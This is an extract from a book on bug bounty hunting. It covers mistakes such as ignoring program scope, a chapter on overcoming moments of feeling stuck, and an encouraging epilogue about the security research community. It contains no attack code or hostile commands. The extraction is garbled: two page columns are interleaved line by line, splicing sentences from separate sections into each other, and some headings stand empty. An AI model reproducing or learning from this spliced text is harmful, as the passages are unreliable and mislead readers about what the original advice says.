5. Not Reading the Program Rules: It's common to encounter moments when you feel stuck.
You may have spent hours searching for vulnerabilities without
Each Bug Bounty program has its own rules and scope. If success, or you may come across a technical obstacle that you
you don't read the rules carefully, you may report vulnerabilities don't know how to overcome. This chapter will provide you with
that are outside the scope of the program or use impermissible practical strategies and tips for overcoming those stuck moments
testing techniques, which can lead to rejection of your reports. and moving forward on your journey as a security researcher.
- Solution: Read the program rules carefully before you 1. Recognize that you are stuck:
start looking for vulnerabilities. Make sure you understand what
assets are included in the scope, what types of vulnerabilities are The first step to overcoming a roadblock is to recognize that
eligible for rewards, and what testing techniques are allowed. you are stuck. Don't get frustrated or give up. Instead, accept
that this is a normal part of the process and that all investigators
6. Focus on Low Severity Vulnerabilities: face this challenge at some point.
Additional Tips:
But the most important thing I've learned is that Bug Bounty
is much more than a career or a way to make money. It's a pas-
sion, a community and an opportunity to make a difference in
the world. It is a way to use our skills and knowledge to protect
people and businesses from the dangers of cyberspace.
My wish for you, dear reader, is that you find the same
passion and satisfaction in Bug Bounty that I have found. May
you be inspired to constantly learn and grow, to collaborate
with other researchers, and to use your skills to make the digi-
tal world a safer place.
And who knows, maybe you will be the next Santiago Lopez,
the next millionaire hacker to make Bug Bounty history. The
future is in your hands!
Thank you for reading my book and for being part of this
amazing community - I wish you every success in your journey
as a security researcher! Traduccion: Santiago Lopez, Tomas Lopez